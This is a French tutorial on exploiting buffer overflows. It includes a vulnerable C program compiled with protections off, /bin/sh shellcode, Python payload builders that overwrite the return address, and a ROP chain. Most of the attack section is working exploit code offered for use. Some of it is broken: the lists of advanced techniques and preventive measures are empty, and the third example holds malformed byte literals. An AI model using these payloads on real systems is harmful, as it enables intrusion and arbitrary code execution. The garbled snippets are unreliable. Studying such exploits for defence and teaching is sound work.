Introduction

Ce tutoriel explique comment effectuer une attaque par dépassement de tampon (buffer overflow) pour exploiter des vulnérabilités dans les programmes. Une attaque par dépassement de tampon permet à un attaquant d'exécuter du code arbitraire en écrasant la mémoire allouée au programme. Nous verrons comment identifier et exploiter ces failles, ainsi que des techniques avancées pour échapper aux contre-mesures de sécurité.

Étape 1: Comprendre les Dépassements de Tampon

Les dépassements de tampon se produisent lorsque plus de données sont écrites dans un tampon que celui-ci ne peut en contenir, entraînant l'écrasement des données adjacentes. Cela peut permettre à un attaquant d'exécuter du code arbitraire, d'altérer le flux de contrôle du programme ou de provoquer un crash du programme. Les dépassements de tampon sont souvent exploités dans les programmes écrits en C ou C++.

Étape 2: Préparation de l'Environnement

Installez les outils nécessaires pour identifier et exploiter les vulnérabilités de dépassement de tampon :

sudo apt-get update && sudo apt-get upgrade
sudo apt-get install gcc gdb

Étape 3: Identification d'une Vulnérabilité de Dépassement de Tampon

Pour illustrer une attaque par dépassement de tampon, nous utiliserons un programme vulnérable écrit en C. Voici un exemple de programme vulnérable :

#include <stdio.h>
#include <string.h>

void vulnerable_function(char *input) {
    char buffer[64];
    strcpy(buffer, input);
    printf("Input: %s\n", buffer);
}

int main(int argc, char *argv[]) {
    if (argc != 2) {
        printf("Usage: %s <input>\n", argv[0]);
        return 1;
    }
    vulnerable_function(argv[1]);
    return 0;
}

Compilez le programme :

gcc -o vuln_program vuln_program.c -fno-stack-protector -z execstack

Étape 4: Exploitation de la Vulnérabilité

Pour exploiter la vulnérabilité, nous devons créer un payload qui écrasera l'adresse de retour de la fonction vulnerable_function et exécutera du code malveillant. Nous utiliserons l'outil gdb pour déterminer l'adresse de retour :

gdb ./vuln_program
(gdb) run $(python -c 'print "A"*72 + "BBBB"')

Notez l'adresse de retour écrasée par "BBBB". Nous devons maintenant remplacer "BBBB" par l'adresse de notre shellcode. Voici un exemple de shellcode pour ouvrir un shell :

shellcode = (
    b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53"
    b"\x89\xe1\xb0\x0b\xcd\x80"
)

Créez un payload qui inclut le shellcode et l'adresse de retour :

payload = b"A" * 72
payload += b"\xef\xbe\xad\xde"  # Adresse de retour (remplacer par l'adresse correcte)
payload += shellcode

with open("payload", "wb") as f:
    f.write(payload)

Exécutez le programme vulnérable avec le payload :

./vuln_program $(cat payload)

Techniques Avancées d'Exploitation

Pour rendre l'attaque plus efficace, vous pouvez utiliser des techniques avancées telles que :

Exemple de chaîne ROP :

rop_chain = [
    0x080483e0,  # Adresse du gadget 'pop eax; ret'
    0xb,         # Valeur à charger dans eax (execve syscall)
    0x0804841d,  # Adresse du gadget 'int 0x80; ret'
]

payload = b"A" * 72
for gadget in rop_chain:
    payload += p32(gadget)
payload += shellcode

Exemples Pratiques

Voici trois exemples pratiques pour illustrer l'utilisation des attaques par dépassement de tampon :

Exemple 1: Dépassement de Tampon Basique

Exploitons une vulnérabilité simple pour exécuter un shell :

./vuln_program $(python -c 'print "A"*72 + "\xef\xbe\xad\xde"')

Remplacez \xef\xbe\xad\xde par l'adresse de votre shellcode.

Exemple 2: Dépassement de Tampon avec ASLR

Utilisez des techniques de fuite d'adresses pour contourner l'ASLR :

gdb ./vuln_program
(gdb) run $(python -c 'print "A"*72 + "BBBB"')

Utilisez les adresses fuitées pour construire votre payload.

Exemple 3: Dépassement de Tampon avec ROP

Utilisez une chaîne ROP pour exécuter du code arbitraire :

payload = b"A" * 72
payload += b"\xef\xbe\xad\xde"  # Adresse du gadget 'pop eax; ret'
payload += b"\xb"               # Valeur à charger dans eax (execve syscall)
payload += b"\x0804841d"        # Adresse du gadget 'int 0x80; ret'
payload += shellcode

Mesures de Prévention

Pour se protéger contre les attaques par dépassement de tampon, envisagez les mesures suivantes :

Conclusion

Ce tutoriel vous a montré comment effectuer une attaque par dépassement de tampon. Rappelez-vous, ces informations doivent être utilisées de manière éthique et légale. L'objectif est de sensibiliser aux dangers des attaques par dépassement de tampon et de renforcer la sécurité des programmes.